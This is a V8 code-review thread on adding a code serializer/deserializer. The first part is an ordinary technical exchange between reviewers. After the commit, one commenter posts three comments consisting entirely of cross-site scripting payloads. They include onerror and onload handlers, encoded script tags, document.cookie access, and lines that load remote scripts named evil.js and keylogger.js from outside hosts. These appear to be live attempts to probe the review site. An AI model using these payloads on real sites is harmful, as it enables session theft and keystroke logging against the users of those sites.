Introduce code serializer/deserializer.

Introduce code serializer/deserializer.

R=vogelheim@chromium.org

Committed: https://code.google.com/p/v8/source/detail?r=22276

[vogelheim, 2014-07-07 15:20:01]

lgtm

A few nitpicks, and honestly I'm not sure if all of them make any sense. Feel
free to proceed as you see fit... :)

https://codereview.chromium.org/373713006/diff/1/src/compiler.cc
File src/compiler.cc (right):

https://codereview.chromium.org/373713006/diff/1/src/compiler.cc#newcode954
src/compiler.cc:954: }
[For my understanding; not criticism:]

Why is this before the /other/ code cache? It would seem that if we already have
an in-process copy of the code, we might as well use that.

Also, I had naively expected that this logic would go into CompileTopLevel, and
would get all its required data out of the CompileInfo structure. No strong
reason for this, just seemed like a sensible layering.

https://codereview.chromium.org/373713006/diff/1/src/flag-definitions.h
File src/flag-definitions.h (right):

https://codereview.chromium.org/373713006/diff/1/src/flag-definitions.h#newco...
src/flag-definitions.h:426: DEFINE_BOOL(serialize_toplevel, false, "serialize
toplevel scripts")
nitpick: "enable caching of toplevel scripts"?

(Because just setting the flag doesn't actually serialize anything; it merely
allows you to ask for the serialization.)

https://codereview.chromium.org/373713006/diff/1/src/parser.cc
File src/parser.cc (right):

https://codereview.chromium.org/373713006/diff/1/src/parser.cc#newcode194
src/parser.cc:194: owns_store || reinterpret_cast<intptr_t>(data) %
sizeof(unsigned) != 0;
The naming is weird: I had read the 'owns_store' parameter as a hint that
ScriptData::New should take posession (own) the data that's passed in. But the
implementation is the opposite: If owns_store is set, ScriptData will always
make a copy and hence not 'own' the passed in data, but will instead own its own
copy.

Maybe a better name would be 'always_copy'?

https://codereview.chromium.org/373713006/diff/1/src/serialize.cc
File src/serialize.cc (right):

https://codereview.chromium.org/373713006/diff/1/src/serialize.cc#newcode1830
src/serialize.cc:1830: if (!IsAligned(payload_length, sizeof(unsigned)))
raw_length++;
nitpick: I kinda wondered what you're doing in those three lines... How about:

kHeaderSize -> kHeaderWords.

int payload_bytes = ...
int payload_header_words = kHeaderWords +
    (payload_bytes + sizeof(unsigned) - 1) / sizeof(unsigned);

You pick, of course. Readability is rather subjective... :)

https://codereview.chromium.org/373713006/diff/1/src/serialize.cc#newcode1844
src/serialize.cc:1844: return new ScriptData(Vector<unsigned>(raw_data,
raw_length), true);
This copies the bulk of the data twice: Once in CopyBytes, and then in
ScriptData(..., true). Maybe instead of forcing a copy there could be some sort
of 'move'-constructor for ScriptData.

(Since there's probably more changes to ScriptData coming, maybe just leave it
in for now, though.)

https://codereview.chromium.org/373713006/diff/1/src/serialize.h
File src/serialize.h (right):

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode11
src/serialize.h:11: #include "src/parser.h"
parser.h draws in a rather large amount of headers. If we really want to re-use
CachedData, it may make sense to move it out of parser.h.

(As you already mentioned offline, doing this later is just fine.)

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode571
src/serialize.h:571: // [0] version hash
nitpick: It took me a while to understand these are indices into a int-sized
array; not byte offsets. Might be useful to mention this.

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode581
src/serialize.h:581: class DummySnapshotSink : public SnapshotByteSink {
If these (and the following) *Sinks are of general use, it may be useful to move
them to snapshot-source-sink.

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode599
src/serialize.h:599: printf("%24s: %x\n", description, byte);
nitpick: This header does not include stdio.h (and I guess it shouldn't). So
here we implicitly depend on one of our other headers being sloppy with their
#includes. I guess this should at least go into a .cc, so we're not contributing
to further header pollution?

https://codereview.chromium.org/373713006/diff/1/src/version.h
File src/version.h (right):

https://codereview.chromium.org/373713006/diff/1/src/version.h#newcode19
src/version.h:19: static int Hash() { return (major_ << 20) ^ (minor_ << 10) ^
patch_; }
Are build_ and candidate_ implied in the other version numbers?

https://codereview.chromium.org/373713006/diff/1/test/cctest/test-compiler.cc
File test/cctest/test-compiler.cc (right):

https://codereview.chromium.org/373713006/diff/1/test/cctest/test-compiler.cc...
test/cctest/test-compiler.cc:408: const char* source = "1 + 1";
It might be useful - maybe as a separate test - to modify source from "1 + 1" to
"1 + 2" (or somesuch) between the two compiles, to verify that the second
compile indeed reads from the cache. Right now, all sorts of Cache
implementations - e.g. the current parser cache, or a NOP implementation - would
pass the SerializeTopLevel test, despite not serializing the top-level compile
at all.

[Yang, 2014-07-08 09:01:05]

https://codereview.chromium.org/373713006/diff/1/src/compiler.cc
File src/compiler.cc (right):

https://codereview.chromium.org/373713006/diff/1/src/compiler.cc#newcode954
src/compiler.cc:954: }
On 2014/07/07 15:20:00, vogelheim wrote:
> [For my understanding; not criticism:]
> 
> Why is this before the /other/ code cache? It would seem that if we already
have
> an in-process copy of the code, we might as well use that.
> 
> Also, I had naively expected that this logic would go into CompileTopLevel,
and
> would get all its required data out of the CompileInfo structure. No strong
> reason for this, just seemed like a sensible layering.

You got a point. I reordered this. However, I think this is the correct place to
serialize/deserialize, at least for now. CompileToplevel also compiles for eval,
and I don't want to go there yet. And I think grouping caching mechanisms
together is the right thing to do.

https://codereview.chromium.org/373713006/diff/1/src/parser.cc
File src/parser.cc (right):

https://codereview.chromium.org/373713006/diff/1/src/parser.cc#newcode194
src/parser.cc:194: owns_store || reinterpret_cast<intptr_t>(data) %
sizeof(unsigned) != 0;
On 2014/07/07 15:20:00, vogelheim wrote:
> The naming is weird: I had read the 'owns_store' parameter as a hint that
> ScriptData::New should take posession (own) the data that's passed in. But the
> implementation is the opposite: If owns_store is set, ScriptData will always
> make a copy and hence not 'own' the passed in data, but will instead own its
own
> copy.
> 
> Maybe a better name would be 'always_copy'?

I'll address this in a follow-up CL.

https://codereview.chromium.org/373713006/diff/1/src/serialize.cc
File src/serialize.cc (right):

https://codereview.chromium.org/373713006/diff/1/src/serialize.cc#newcode1830
src/serialize.cc:1830: if (!IsAligned(payload_length, sizeof(unsigned)))
raw_length++;
On 2014/07/07 15:20:01, vogelheim wrote:
> nitpick: I kinda wondered what you're doing in those three lines... How about:
> 
> kHeaderSize -> kHeaderWords.
> 
> int payload_bytes = ...
> int payload_header_words = kHeaderWords +
>     (payload_bytes + sizeof(unsigned) - 1) / sizeof(unsigned);
> 
> You pick, of course. Readability is rather subjective... :)

This will go away as soon as I refactored ScriptData.

https://codereview.chromium.org/373713006/diff/1/src/serialize.cc#newcode1844
src/serialize.cc:1844: return new ScriptData(Vector<unsigned>(raw_data,
raw_length), true);
On 2014/07/07 15:20:01, vogelheim wrote:
> This copies the bulk of the data twice: Once in CopyBytes, and then in
> ScriptData(..., true). Maybe instead of forcing a copy there could be some
sort
> of 'move'-constructor for ScriptData.
> 
> (Since there's probably more changes to ScriptData coming, maybe just leave it
> in for now, though.)

Nope. ScriptData::New does the copying. The constructor merely sets the
owns_store_ flag, which is what we want here.

https://codereview.chromium.org/373713006/diff/1/src/serialize.h
File src/serialize.h (right):

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode11
src/serialize.h:11: #include "src/parser.h"
On 2014/07/07 15:20:01, vogelheim wrote:
> parser.h draws in a rather large amount of headers. If we really want to
re-use
> CachedData, it may make sense to move it out of parser.h.
> 
> (As you already mentioned offline, doing this later is just fine.)

Yup. Doing this later.

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode571
src/serialize.h:571: // [0] version hash
On 2014/07/07 15:20:01, vogelheim wrote:
> nitpick: It took me a while to understand these are indices into a int-sized
> array; not byte offsets. Might be useful to mention this.

Done.

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode581
src/serialize.h:581: class DummySnapshotSink : public SnapshotByteSink {
On 2014/07/07 15:20:01, vogelheim wrote:
> If these (and the following) *Sinks are of general use, it may be useful to
move
> them to snapshot-source-sink.

Done.

https://codereview.chromium.org/373713006/diff/1/src/serialize.h#newcode599
src/serialize.h:599: printf("%24s: %x\n", description, byte);
On 2014/07/07 15:20:01, vogelheim wrote:
> nitpick: This header does not include stdio.h (and I guess it shouldn't). So
> here we implicitly depend on one of our other headers being sloppy with their
> #includes. I guess this should at least go into a .cc, so we're not
contributing
> to further header pollution?

Using PrintF instead.

https://codereview.chromium.org/373713006/diff/1/src/version.h
File src/version.h (right):

https://codereview.chromium.org/373713006/diff/1/src/version.h#newcode19
src/version.h:19: static int Hash() { return (major_ << 20) ^ (minor_ << 10) ^
patch_; }
On 2014/07/07 15:20:01, vogelheim wrote:
> Are build_ and candidate_ implied in the other version numbers?

Currently the build number is always 9999, so it makes little sense. Candidate
is also fixed as far as I can tell.

https://codereview.chromium.org/373713006/diff/1/test/cctest/test-compiler.cc
File test/cctest/test-compiler.cc (right):

https://codereview.chromium.org/373713006/diff/1/test/cctest/test-compiler.cc...
test/cctest/test-compiler.cc:408: const char* source = "1 + 1";
On 2014/07/07 15:20:01, vogelheim wrote:
> It might be useful - maybe as a separate test - to modify source from "1 + 1"
to
> "1 + 2" (or somesuch) between the two compiles, to verify that the second
> compile indeed reads from the cache. Right now, all sorts of Cache
> implementations - e.g. the current parser cache, or a NOP implementation -
would
> pass the SerializeTopLevel test, despite not serializing the top-level compile
> at all.

Done.

[Yang, 2014-07-08 09:04:20]

Committed patchset #2 manually as r22276 (presubmit successful).

[sonal, 2014-07-10 03:51:56]

"><img src=x onerror=prompt(document.domain);>

[sonal, 2014-07-10 03:53:20]

On 2014/07/10 03:51:56, sonal wrote:
> "><img src=x onerror=prompt(document.domain);>

"><img src=x onerror=prompt(document.domain);>

[sonal, 2014-07-10 03:54:15]

<textarea autofocus onfocus=alert(1)>

<textarea autofocus onfocus=prompt(document.domain);>

<script>prompt(1)</script>
&lt;script&gt;prompt(1)&lt;/script&gt;
 
"></code><svg/onload=prompt(1)>

"><img src=x onerror=prompt(document.domain);>
&quot;&gt;&lt;img src=x onerror=prompt(document.domain);&gt;

/\<script>alert(8);</script>
%5C%3Cscript%3Ealert%288%29;%3C/script%3E

";alert(0);%2F%2F

<img src='' onerror="alert(document.cookie);"

<img src=1
onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

%3cscript%3ealert%22xss%22%3b%3c/script%3e/
<script>alert"xss";</script>/

&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;

<body><p><input onfocus="alert(1)" type="text" /><textarea
onfocus="alert(1)"></textarea></p></body>
<body><p><input onfocus="prompt(1)" type="text" /><textarea
onfocus="prompt(1)"></textarea></p></body>

<script src%3d'http://5.5.5.5/keylogger.js'></script>